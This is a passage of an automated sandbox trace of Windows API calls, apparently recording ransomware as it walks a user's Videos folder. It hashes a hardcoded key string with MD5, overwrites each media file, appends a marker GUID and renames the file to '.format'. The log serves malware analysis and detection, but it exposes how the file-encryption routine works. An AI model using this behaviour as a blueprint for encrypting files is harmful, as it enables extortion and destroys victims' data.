HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\Qsu-c\\bdG_-DYiIf114xqMAY.swf") returned=".swf" [0069.990] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\Qsu-c\\bdG_-DYiIf114xqMAY.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\3us5nuiyl1u_rnppuj\\wnrix\\qsu-c\\bdg_-dyiif114xqmay.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.990] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=17044) returned 1 [0069.990] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.993] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x426e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.993] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.993] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x4294, lpOverlapped=0x0) returned 1 [0069.994] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.994] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.994] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.994] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf90) returned 1 [0069.994] CryptCreateHash (in: hProv=0x6abf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.994] CryptHashData (hHash=0x31bee20, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.994] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.995] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.995] GetLastError () returned 0x0 [0069.995] CryptDestroyHash (hHash=0x31bee20) returned 1 [0069.995] CryptReleaseContext (hProv=0x6abf90, dwFlags=0x0) returned 1 [0069.995] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x4294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.995] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.995] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.995] CloseHandle (hObject=0x5c8) returned 1 [0069.995] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\Qsu-c\\bdG_-DYiIf114xqMAY.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\3us5nuiyl1u_rnppuj\\wnrix\\qsu-c\\bdg_-dyiif114xqmay.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\Qsu-c\\bdG_-DYiIf114xqMAY.swf.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\3us5nuiyl1u_rnppuj\\wnrix\\qsu-c\\bdg_-dyiif114xqmay.swf.format")) returned 1 [0069.998] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.998] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0069.999] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x319e178 | out: hHeap=0x5d0000) returned 1 [0069.999] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14ca6fb0, ftCreationTime.dwHighDateTime=0x1d4ce25, ftLastAccessTime.dwLowDateTime=0x195bb440, ftLastAccessTime.dwHighDateTime=0x1d4c91a, ftLastWriteTime.dwLowDateTime=0x195bb440, ftLastWriteTime.dwHighDateTime=0x1d4c91a, nFileSizeHigh=0x0, nFileSizeLow=0x285f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iZica-.avi", cAlternateFileName="")) returned 1 [0069.999] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283e08 [0069.999] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x106) returned 0x319e178 [0069.999] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283e08 | out: hHeap=0x5d0000) returned 1 [0069.999] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\Qsu-c\\iZica-.avi") returned=".avi" [0070.000] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\Qsu-c\\iZica-.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\3us5nuiyl1u_rnppuj\\wnrix\\qsu-c\\izica-.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0070.000] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=10335) returned 1 [0070.000] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0070.002] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x2839, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.002] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0070.003] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183008 [0070.003] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183008 | out: hHeap=0x5d0000) returned 1 [0070.003] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.003] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x285f, lpOverlapped=0x0) returned 1 [0070.003] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0070.003] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0070.003] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0070.003] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0070.003] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf90) returned 1 [0070.004] CryptCreateHash (in: hProv=0x6abf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0070.004] CryptHashData (hHash=0x31bee20, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0070.004] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0070.004] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0070.004] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0070.004] GetLastError () returned 0x0 [0070.005] CryptDestroyHash (hHash=0x31bee20) returned 1 [0070.005] CryptReleaseContext (hProv=0x6abf90, dwFlags=0x0) returned 1 [0070.005] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0070.005] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x2860) returned 0x329f158 [0070.005] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0070.005] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183008 | out: hHeap=0x5d0000) returned 1 [0070.005] WriteFile (in: hFile=0x5c8, lpBuffer=0x329f158*, nNumberOfBytesToWrite=0x285a, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x329f158*, lpNumberOfBytesWritten=0x38cfb24*=0x285a, lpOverlapped=0x0) returned 1 [0070.005] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329f158 | out: hHeap=0x5d0000) returned 1 [0070.005] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x285f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.005] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0070.005] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0070.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0070.005] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0070.005] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0070.005] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0070.005] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0070.005] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0070.005] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0070.005] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0070.006] CloseHandle (hObject=0x5c8) returned 1 [0070.006] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc0) returned 0x3185bd8 [0070.006] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8d0) returned 0x3178dd8 [0070.006] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185bd8 | out: hHeap=0x5d0000) returned 1 [0070.006] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\Qsu-c\\iZica-.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\3us5nuiyl1u_rnppuj\\wnrix\\qsu-c\\izica-.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\Qsu-c\\iZica-.avi.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\3us5nuiyl1u_rnppuj\\wnrix\\qsu-c\\izica-.avi.format")) returned 1 [0070.008] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0070.008] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0070.009] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x319e178 | out: hHeap=0x5d0000) returned 1 [0070.009] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b20300, ftCreationTime.dwHighDateTime=0x1d4d329, ftLastAccessTime.dwLowDateTime=0x2ac537f0, ftLastAccessTime.dwHighDateTime=0x1d4cd76, ftLastWriteTime.dwLowDateTime=0x2ac537f0, ftLastWriteTime.dwHighDateTime=0x1d4cd76, nFileSizeHigh=0x0, nFileSizeLow=0x179d5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pa U3CiwSuzLbnk.mkv", cAlternateFileName="PAU3CI~1.MKV")) returned 1 [0070.009] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283e08 [0070.009] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x106) returned 0x319e178 [0070.009] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283e08 | out: hHeap=0x5d0000) returned 1 [0070.009] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\Qsu-c\\pa U3CiwSuzLbnk.mkv") returned=".mkv" [0070.009] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\Qsu-c\\pa U3CiwSuzLbnk.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\3us5nuiyl1u_rnppuj\\wnrix\\qsu-c\\pa u3ciwsuzlbnk.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0070.009] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=96725) returned 1 [0070.009] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0070.011] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x179af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.012] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0070.012] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183008 [0070.012] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183008 | out: hHeap=0x5d0000) returned 1 [0070.013] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.013] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x179d5, lpOverlapped=0x0) returned 1 [0070.013] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0070.013] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0070.013] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0070.013] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0070.013] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf90) returned 1 [0070.014] CryptCreateHash (in: hProv=0x6abf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0070.014] CryptHashData (hHash=0x31bee20, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0070.014] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0070.014] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0070.014] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0070.014] GetLastError () returned 0x0 [0070.014] CryptDestroyHash (hHash=0x31bee20) returned 1 [0070.014] CryptReleaseContext (hProv=0x6abf90, dwFlags=0x0) returned 1 [0070.014] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0070.014] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x179e0) returned 0x32b2f40 [0070.015] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0070.015] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183008 | out: hHeap=0x5d0000) returned 1 [0070.015] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x179d0, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x179d0, lpOverlapped=0x0) returned 1 [0070.015] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0070.015] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x179d5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.015] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0070.015] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0070.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0070.015] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0070.016] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0070.016] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0070.016] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0070.016] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0070.016] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0070.016] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0070.016] CloseHandle (hObject=0x5c8) returned 1 [0070.016] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d798 [0070.016] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8e0) returned 0x3178dd8 [0070.016] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d798 | out: hHeap=0x5d0000) returned 1 [0070.016] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\Qsu-c\\pa U3CiwSuzLbnk.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\3us5nuiyl1u_rnppuj\\wnrix\\qsu-c\\pa u3ciwsuzlbnk.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\Qsu-c\\pa U3CiwSuzLbnk.mkv.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\3us5nuiyl1u_rnppuj\\wnrix\\qsu-c\\pa u3ciwsuzlbnk.mkv.format")) returned 1 [0070.017] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0070.017] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0070.018] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x319e178 | out: hHeap=0x5d0000) returned 1 [0070.018] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b20300, ftCreationTime.dwHighDateTime=0x1d4d329, ftLastAccessTime.dwLowDateTime=0x2ac537f0, ftLastAccessTime.dwHighDateTime=0x1d4cd76, ftLastWriteTime.dwLowDateTime=0x2ac537f0, ftLastWriteTime.dwHighDateTime=0x1d4cd76, nFileSizeHigh=0x0, nFileSizeLow=0x179d5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pa U3CiwSuzLbnk.mkv", cAlternateFileName="PAU3CI~1.MKV")) returned 0 [0070.018] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0070.018] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0070.018] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283900 | out: hHeap=0x5d0000) returned 1 [0070.018] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0070.018] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee5d8 | out: hHeap=0x5d0000) returned 1 [0070.018] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8c58 | out: hHeap=0x5d0000) returned 1 [0070.018] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0070.018] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185a48 | out: hHeap=0x5d0000) returned 1 [0070.018] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185e30 | out: hHeap=0x5d0000) returned 1 [0070.018] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185ef8 | out: hHeap=0x5d0000) returned 1 [0070.018] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31eddf8 | out: hHeap=0x5d0000) returned 1 [0070.018] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2ee8 | out: hHeap=0x5d0000) returned 1 [0070.018] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283be0 | out: hHeap=0x5d0000) returned 1 [0070.018] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327dc68 | out: hHeap=0x5d0000) returned 1 [0070.018] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d798 [0070.018] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0070.018] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.018] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.018] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.018] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.018] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.018] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.018] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.018] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.019] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.019] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.019] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.019] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.019] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.019] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.019] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.019] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.019] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.019] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.019] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, 